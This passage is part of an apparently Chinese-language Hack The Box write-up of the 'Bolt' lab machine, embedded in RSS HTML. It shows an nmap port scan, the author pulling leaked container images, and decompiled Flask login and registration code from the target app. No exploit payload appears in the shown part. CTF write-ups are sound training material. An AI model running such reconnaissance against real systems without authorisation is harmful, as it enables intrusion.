data-galleryid="" data-ratio="1.2933333333333332" style="" data-type="gif" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=2e420469&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fpx3YHTjnicppibTy6Giaj7BrGISzEXBO45AibR70Fq9qiaZhJZgFWnB9uQuL3iaDqY6DHm7YogiaicSEmWCiaNfPvZzX5bg%2F640%3Fwx_fmt%3Dgif"/></p><p><br/></p>




]]></content:encoded>
      <pubDate>Wed, 16 Feb 2022 14:12:12 +0800</pubDate>
    </item>
    <item>
      <title>【HTB系列】Bolt</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485021&amp;idx=1&amp;sn=991b0f92a605120c903342d5c0d2c2d4</link>
      <description>【HTB系列】Bolt</description>
      <content:encoded><![CDATA[<p>
原创 <span>Carnival</span> <span>2022-02-10 07:20</span> <span style="display: inline-block;"></span>
</p>

<p>【HTB系列】Bolt</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2171d2d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYQqbiaQDxsQrZm8wic4WibXuE6x21vRibhYPrFpJ8usS2yfGJl3giaY65vWw%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<h3 cid="n2" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;overflow-wrap: break-word !important;"><br/></h3><h3 cid="n2" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x01 信息收集</span></h3><p><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer">─# nmap  <span class="code-snippet__number">10.10</span><span class="code-snippet__number">.11</span><span class="code-snippet__number">.114</span>  -p- -sC -sV  --min-rate=<span class="code-snippet__number">2000</span></span></code><code><span class="code-snippet_outer">Starting Nmap <span class="code-snippet__number">7.92</span> ( https:<span class="code-snippet__comment">//nmap.org ) at 2021-12-14 08:34 EST</span></span></code><code><span class="code-snippet_outer">Nmap scan report <span class="code-snippet__keyword">for</span> <span class="code-snippet__number">10.10</span><span class="code-snippet__number">.11</span><span class="code-snippet__number">.114</span></span></code><code><span class="code-snippet_outer">Host is up (<span class="code-snippet__number">0.31s</span> latency).</span></code><code><span class="code-snippet_outer">Not shown: <span class="code-snippet__number">65532</span> closed tcp ports (reset)</span></code><code><span class="code-snippet_outer">PORT    STATE SERVICE  VERSION</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">22</span>/tcp  open  ssh      OpenSSH <span class="code-snippet__number">8.2</span>p1 Ubuntu <span class="code-snippet__number">4</span>ubuntu0<span class="code-snippet__number">.3</span> (Ubuntu Linux; protocol <span class="code-snippet__number">2.0</span>)</span></code><code><span class="code-snippet_outer">| ssh-hostkey: </span></code><code><span class="code-snippet_outer">|   <span class="code-snippet__number">3072</span> <span class="code-snippet__number">4d</span>:<span class="code-snippet__number">20</span>:<span class="code-snippet__number">8</span>a:b2:c2:<span class="code-snippet__number">8</span>c:f5:<span class="code-snippet__number">3</span>e:be:d2:e8:<span class="code-snippet__number">18</span>:<span class="code-snippet__number">16</span>:<span class="code-snippet__number">28</span>:<span class="code-snippet__number">6</span>e:<span class="code-snippet__number">8</span>e (RSA)</span></code><code><span class="code-snippet_outer">|   <span class="code-snippet__number">256</span> <span class="code-snippet__number">7</span>b:<span class="code-snippet__number">0</span>e:c7:<span class="code-snippet__number">5f</span>:<span class="code-snippet__number">5</span>a:<span class="code-snippet__number">4</span>c:<span class="code-snippet__number">7</span>a:<span class="code-snippet__number">11</span>:<span class="code-snippet__number">7f</span>:dd:<span class="code-snippet__number">58</span>:<span class="code-snippet__number">5</span>a:<span class="code-snippet__number">17</span>:<span class="code-snippet__number">2f</span>:cd:ea (ECDSA)</span></code><code><span class="code-snippet_outer">|_  <span class="code-snippet__number">256</span> a7:<span class="code-snippet__number">22</span>:<span class="code-snippet__number">4</span>e:<span class="code-snippet__number">45</span>:<span class="code-snippet__number">19</span>:<span class="code-snippet__number">8</span>e:<span class="code-snippet__number">7d</span>:<span class="code-snippet__number">3</span>c:bc:df:<span class="code-snippet__number">6</span>e:<span class="code-snippet__number">1d</span>:<span class="code-snippet__number">6</span>c:<span class="code-snippet__number">4f</span>:<span class="code-snippet__number">41</span>:<span class="code-snippet__number">56</span> (ED25519)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">80</span>/tcp  open  http     nginx <span class="code-snippet__number">1.18</span><span class="code-snippet__number">.0</span> (Ubuntu)</span></code><code><span class="code-snippet_outer">|_http-title:     Starter Website -  About </span></code><code><span class="code-snippet_outer">|_http-server-header: nginx/<span class="code-snippet__number">1.18</span><span class="code-snippet__number">.0</span> (Ubuntu)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">443</span>/tcp open  ssl/http nginx <span class="code-snippet__number">1.18</span><span class="code-snippet__number">.0</span> (Ubuntu)</span></code><code><span class="code-snippet_outer">| http-title: Passbolt | Open source password manager <span class="code-snippet__keyword">for</span> teams</span></code><code><span class="code-snippet_outer">|_Requested resource was /auth/login?redirect=%<span class="code-snippet__number">2</span>F</span></code><code><span class="code-snippet_outer">| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU</span></code><code><span class="code-snippet_outer">| Not valid before: <span class="code-snippet__number">2021</span><span class="code-snippet__number">-02</span><span class="code-snippet__number">-24</span>T19:<span class="code-snippet__number">11</span>:<span class="code-snippet__number">23</span></span></code><code><span class="code-snippet_outer">|_Not valid after:  <span class="code-snippet__number">2022</span><span class="code-snippet__number">-02</span><span class="code-snippet__number">-24</span>T19:<span class="code-snippet__number">11</span>:<span class="code-snippet__number">23</span></span></code><code><span class="code-snippet_outer">|_http-server-header: nginx/<span class="code-snippet__number">1.18</span><span class="code-snippet__number">.0</span> (Ubuntu)</span></code><code><span class="code-snippet_outer">|_ssl-date: TLS randomness does not represent time</span></code><code><span class="code-snippet_outer">Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Service detection performed. Please report any incorrect results at https:<span class="code-snippet__comment">//nmap.org/submit/ .</span></span></code><code><span class="code-snippet_outer">Nmap done: <span class="code-snippet__number">1</span> IP address (<span class="code-snippet__number">1</span> host up) scanned in <span class="code-snippet__number">70.73</span> seconds</span></code><code><span class="code-snippet_outer"><br/></span></code></pre><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">访问网站又一个登录口，还可以创建账户。走一个。不行。有报错</span></p><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="106" data-backw="578" data-galleryid="" data-ratio="0.18333333333333332" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3dcacf0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYwtZ2rU2qUjaKPS1oiaWaT659gw4oTPBuDggicFSuWKgtnQf0ibXsSdyXA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="289" data-backw="578" data-galleryid="" data-ratio="0.5" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6b0c3e6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYSvpibGpRu0VadJf4kjHXhrnSOUwZlJ4CcRkk73lX4yKZNdfxzJF4XzQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">打开后发现是几个虚拟机镜像，有一些信息泄露</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="357" data-backw="578" data-galleryid="" data-ratio="0.6165364583333334" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1536" src="https://wechat2rss.xlab.app/img-proxy/?k=53ecbf5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYwBRVSP7ia7qTxfYSwpnRVmQlHqZ86VdXcBSF7jvOp8lS5Ng7MRtbibJg%2F640%3Fwx_fmt%3Dpng"/></p><h3 cid="n10" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><br/></h3><h3 cid="n10" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x02 漏洞挖掘</span></h3><p><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><pre spellcheck="false" lang="bash" cid="n11" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">─<span style="box-sizing: border-box;color: rgb(170, 85, 0);"># cat repositories                                                         </span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;flask-dashboard-adminlte_appseed-app&#34;</span>:{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;latest&#34;</span>:<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162&#34;</span>}}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n12" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">这里说，最后一个版本是 xxx。进入目录</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">app/base/__pycache__</code></span><span md-inline="plain" style="box-sizing: border-box;">下发现两个pyc文件。反编译后代码如下：</span></p><pre spellcheck="false" lang="python" cid="n13" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pip3</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">install</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">uncompyle6</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">https</span>:<span style="box-sizing: border-box;color: rgb(152, 26, 26);">//</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">pypi</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">tuna</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">tsinghua</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">edu</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">cn</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">simple</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span> </span></pre><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">当作知识点吧。反编译根源码还是差点。下面发现了源码贴了上来</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__comment"># -*- encoding: utf-8 -*-</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer">Copyright (c) 2019 - present AppSeed.us</span></code><code><span class="code-snippet_outer">&#34;&#34;&#34;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> flask <span class="code-snippet__keyword">import</span> jsonify, render_template, redirect, request, url_for</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> flask_login <span class="code-snippet__keyword">import</span> (</span></code><code><span class="code-snippet_outer">    current_user,</span></code><code><span class="code-snippet_outer">    login_required,</span></code><code><span class="code-snippet_outer">    login_user,</span></code><code><span class="code-snippet_outer">    logout_user</span></code><code><span class="code-snippet_outer">)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> app <span class="code-snippet__keyword">import</span> db, login_manager</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> app.base <span class="code-snippet__keyword">import</span> blueprint</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> app.base.forms <span class="code-snippet__keyword">import</span> LoginForm, CreateAccountForm</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> app.base.models <span class="code-snippet__keyword">import</span> User</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> hmac <span class="code-snippet__keyword">import</span> compare_digest <span class="code-snippet__keyword">as</span> compare_hash</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> crypt</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@blueprint.route(&#39;/&#39;)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">route_default</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> redirect(url_for(<span class="code-snippet__string">&#39;base_blueprint.login&#39;</span>))</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">## Login &amp; Registration</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@blueprint.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">login</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    login_form = LoginForm(request.form)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> <span class="code-snippet__string">&#39;login&#39;</span> <span class="code-snippet__keyword">in</span> request.form:</span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># read form data</span></span></code><code><span class="code-snippet_outer">        username = request.form[<span class="code-snippet__string">&#39;username&#39;</span>]</span></code><code><span class="code-snippet_outer">        password = request.form[<span class="code-snippet__string">&#39;password&#39;</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># Locate user</span></span></code><code><span class="code-snippet_outer">        user = User.query.filter_by(username=username).first()</span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># Check the password</span></span></code><code><span class="code-snippet_outer">        stored_password = user.password</span></code><code><span class="code-snippet_outer">        stored_password = stored_password.decode(<span class="code-snippet__string">&#39;utf-8&#39;</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> user <span class="code-snippet__keyword">and</span> compare_hash(stored_password,crypt.crypt(password,stored_password)):</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            login_user(user)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> redirect(url_for(<span class="code-snippet__string">&#39;base_blueprint.route_default&#39;</span>))</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># Something (user or pass) is not ok</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> render_template( <span class="code-snippet__string">&#39;accounts/login.html&#39;</span>, msg=<span class="code-snippet__string">&#39;Wrong user or password&#39;</span>, form=login_form)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">not</span> current_user.is_authenticated:</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> render_template( <span class="code-snippet__string">&#39;accounts/login.html&#39;</span>,</span></code><code><span class="code-snippet_outer">                                form=login_form)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> redirect(url_for(<span class="code-snippet__string">&#39;home_blueprint.index&#39;</span>))</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@blueprint.route(&#39;/register&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">register</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    login_form = LoginForm(request.form)</span></code><code><span class="code-snippet_outer">    create_account_form = CreateAccountForm(request.form)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> <span class="code-snippet__string">&#39;register&#39;</span> <span class="code-snippet__keyword">in</span> request.form:</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        username  = request.form[<span class="code-snippet__string">&#39;username&#39;</span>]</span></code><code><span class="code-snippet_outer">        email     = request.form[<span class="code-snippet__string">&#39;email&#39;</span>   ]</span></code><code><span class="code-snippet_outer">        data = User.query.filter_by(email=email).first()</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> data <span class="code-snippet__keyword">is</span> <span class="code-snippet__keyword">None</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment"># Check usename exists</span></span></code><code><span class="code-snippet_outer">            user = User.query.filter_by(username=username).first()</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> user:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> render_template( <span class="code-snippet__string">&#39;accounts/register.html&#39;</span>, </span></code><code><span class="code-snippet_outer">                                    msg=<span class="code-snippet__string">&#39;Username already registered&#39;</span>,</span></code><code><span class="code-snippet_outer">                                    success=<span class="code-snippet__keyword">False</span>,</span></code><code><span class="code-snippet_outer">                                    form=create_account_form)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment"># Check email exists</span></span></code><code><span class="code-snippet_outer">            user = User.query.filter_by(email=email).first()</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> user:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> render_template( <span class="code-snippet__string">&#39;accounts/register.html&#39;</span>, </span></code><code><span class="code-snippet_outer">                                    msg=<span class="code-snippet__string">&#39;Email already registered&#39;</span>, </span></code><code><span class="code-snippet_outer">                                    success=<span class="code-snippet__keyword">False</span>,</span></code><code><span class="code-snippet_outer">                                    form=create_account_form)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment"># else we can create the user</span></span></code><code><span class="code-snippet_outer">            user = User(**request.form)</span></code><code><span class="code-snippet_outer">            db.session.add(user)</span></code><code><span class="code-snippet_outer">            db.session.commit()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> render_template( <span class="code-snippet__string">&#39;accounts/register.html&#39;</span>, </span></code><code><span class="code-snippet_outer">                                msg=<span class="code-snippet__string">&#39;User created please &lt;a href=&#34;/login&#34;&gt;login&lt;/a&gt;&#39;</span>, </span></code><code><span class="code-snippet_outer">                                success=<span class="code-snippet__keyword">True</span>,</span></code><code><span class="code-snippet_outer">                                form=create_account_form)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> render_template( <span class="code-snippet__string">&#39;accounts/register.html&#39;</span>, form=create_account_form)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@blueprint.route(&#39;/logout&#39;)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">logout</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    logout_user()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> redirect(url_for(<span class="code-snippet__string">&#39;base_blueprint.login&#39;</span>))</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">## Errors</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@login_manager.unauthorized_handler</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">unauthorized_handler</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> render_template(<span class="code-snippet__string">&#39;page-403.html&#39;</span>), <span class="code-snippet__number">403</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@blueprint.errorhandler(403)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">access_forbidden</span><span class="code-snippet__params">(error)</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> render_template(<span class="code-snippet__string">&#39;page-403.html&#39;</span>), <span class="code-snippet__number">403</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@blueprint.errorhandler(404)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">not_found_error</span><span class="code-snippet__params">(error)</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> render_template(<span class="code-snippet__string">&#39;page-404.html&#39;</span>), <span class="code-snippet__number">404</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@blueprint.errorhandler(500)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">internal_error</span><span class="code-snippet__params">(error)</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> render_template(<span class="code-snippet__string">&#39;page-500.html&#39;</span>), <span class="code-snippet__number">500</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;"></span></p><ul class="code-snippet__line-index 